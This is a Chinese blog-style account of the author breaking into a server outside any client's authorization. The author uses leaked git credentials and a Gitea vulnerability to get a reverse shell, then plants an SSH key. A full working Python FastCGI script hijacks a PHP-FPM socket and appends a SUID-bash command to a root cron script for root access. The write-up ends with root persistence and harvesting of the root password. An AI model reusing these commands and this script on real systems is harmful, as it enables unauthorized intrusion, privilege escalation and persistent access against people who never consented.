起源
最初在完成一次客户交代的渗透测试任务时,偶然发现那么一个站点,里面的内容不是那么的“健康”。和客户沟通得知,该站点早已废弃,无论是域名还是服务器已均与客户无关。
前期打点
本来在日常测试中,要是打偏了也就收手了不浪费时间,更何况还是个 404。

但是在对其进行前期信息收集时发现,存在 git 源码泄露!本着来都来了,看一眼再走也不亏

除了本身的源码,其中/ .git/config 泄露了更有意思的东西:

哇,居然是 gitea 仓库的账密,直接访问目标登录:

成功登录,而且还是后台管理员!可以审计代码,但是站点实际部署源码和 gitea 中又有些出入,没有成功直接 getshell,看来只能止步于此了……
真的只能止步于此了吗???
初步立足(git shell)
我开始也确实没有更多思路了,将这个站点搁置了好一阵子,直到最近新爆出来了个 gitea 的漏洞:CVE-2026-60004
只有拥有 gitea 账号,并且 gitea 版本低于 1.27.1 即可,该站点完美符合条件,由此拿下反弹 shell:


虽然脚本会执行报错(因为没有回显超时了),但是命令已经成功执行,获取初始立足点。
写入 ssh 公钥,获取更稳定的 shell
1
| echo "<your_public_key_type> <your_public_key>" >> ~/.ssh/authorized_keys
|
成功写入了 authorized_keys 还没完,还有第二关,ssh 监听端口并不是默认的 22
但是我们不是 root,没有权限直接去查看 ssh 的配置信息,但可以从另外的角度来推测,查看端口监听情况:


经过测试,19908 是 ssh 的监听端口,用用户名和密钥连上 SSH,至此获取到了 git 用户的稳定 shell !
权限提升(root shell)
然后就该尝试提权了,这里算是卡的最久的一部分了。
最近不是爆出来挺多 linux 提权 CVE 嘛,肯定首先先是想到拿新 CVE 打,发现打不通,这时再回看系统信息:

好家伙,3.10 版本内核的老古董了,2026 系列的新内核 CVE 是基本上没戏了。
转头看看老版本的大杀器 CVE-2016-5195 ,但是很遗憾,系统修复了,同样的 Pwnkit、Baron Samedit 也都被打了补丁。
各类像是 SUID,系统计划任务等常规提权手段,包括用 PEASS-ng 和 LinEnum 进行相关扫描,要么是没权限修改,要么被打了补丁,很长一段时间一筹莫展……第一次发现不升级系统居然反而更安全了……
想着这个站都是 vibe coding 来的,不应该没什么疏漏,于是打开了 pspy 监听进程,期待有什么新发现……
事实上,真的让我发现新东西了:

以 root 权限执行的 shell 脚本和 python 脚本,而且经过观察发现是每隔一段时间就会自动执行一次的。

有些可惜的是,我们需要 www 权限才能对他修改,我们能否横向到 www 用户呢?
这里我开始的想法是,这是宝塔面板托管的站,我们 git 用户可以读取站点源码,代码审计后直接进行侧方打击,直取 www 用户:

但是很遗憾,这些站点源码都比较简陋,但正好是因为简陋,反而找不到什么攻击点了……
正在一筹莫展之际,在 AI 的提示下,发现了全局可写的 PHP-FPM Unix Socket,且存在 SUID 标志位:


那么就可以通过劫持 PHP-FPM Unix Socket,向 PHP-FPM 发送 FastCGI 请求,以 www 用户身份执行 php 代码。
不过经过测试,存在 disable_functions:
1 2 3 4 5 6 7
| passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec, popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl, openlog,syslog,readlink,symlink,popepassthru, pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait, pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled, pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig, pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,...
|
但是无所谓,能追加写入文件便已经足够了,直接给 key_检查关键词是否为空.sh 追加一条命令:
1
| cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo done
|
执行脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| import socket, os
SOCK = "/tmp/php-cgi-72.sock"
def fcgi_req(script_file_path, doc_root): """通过 Unix Socket 向 PHP-FPM 发送 FastCGI 请求并返回解析后的响应""" sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(5) sock.connect(SOCK)
params = { b"SCRIPT_FILENAME": script_file_path.encode(), b"SCRIPT_NAME": b"/x.php", b"REQUEST_METHOD": b"GET", b"QUERY_STRING": b"", b"REQUEST_URI": b"/x.php", b"DOCUMENT_ROOT": doc_root.encode(), b"SERVER_PROTOCOL": b"HTTP/1.1", b"SERVER_SOFTWARE": b"nginx", b"REMOTE_ADDR": b"127.0.0.1", b"SERVER_NAME": b"x", b"REDIRECT_STATUS": b"200", b"HTTP_HOST": b"x", }
begin_request = b"\x01\x01\x00\x01\x00\x08\x00\x00" begin_request += b"\x00\x01\x00\x00\x00\x00\x00\x00"
param_data = b"" for k, v in params.items(): if len(k) < 128: param_data += bytes([len(k)]) else: param_data += bytes([0x80, 0, 0, 0]) + len(k).to_bytes(4, "big") if len(v) < 128: param_data += bytes([len(v)]) else: param_data += bytes([0x80, 0, 0, 0]) + len(v).to_bytes(4, "big") param_data += k + v
params_packet = b"\x01\x04\x00\x01" + len(param_data).to_bytes(2, "big") + b"\x08\x00" + param_data params_end = b"\x01\x04\x00\x01\x00\x00\x00\x00" stdin_end = b"\x01\x05\x00\x01\x00\x00\x00\x00"
sock.send(begin_request + params_packet + params_end + stdin_end)
response = b"" try: while True: data = sock.recv(4096) if not data: break response += data except: pass sock.close()
result = b"" pos = 0 while pos < len(response): if pos + 8 > len(response): break fcgi_type = response[pos + 1] content_length = int.from_bytes(response[pos+4:pos+6], "big") padding_length = response[pos+6] pos += 8 if fcgi_type == 6: result += response[pos:pos+content_length] elif fcgi_type == 3: break pos += content_length + padding_length
return result.decode("utf-8", errors="replace")
payload = '<?php $f="/www/wwwroot/xxx/site1_5/data/key_检查关键词是否为空.sh";file_put_contents($f,"\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo done\n",FILE_APPEND);echo "OK";?>' tmp_file = "/dev/shm/suid_payload.php" with open(tmp_file, "w") as f: f.write(payload)
result = fcgi_req(tmp_file, "/dev/shm") print("Result:", result)
os.unlink(tmp_file)
|

成功追加,等待一会,获得 rootbash:


给 root 的 ssh 也写个公钥,就可以持续稳定的连接啦~

后续
然后翻 bash_history 发现了 root 的密码

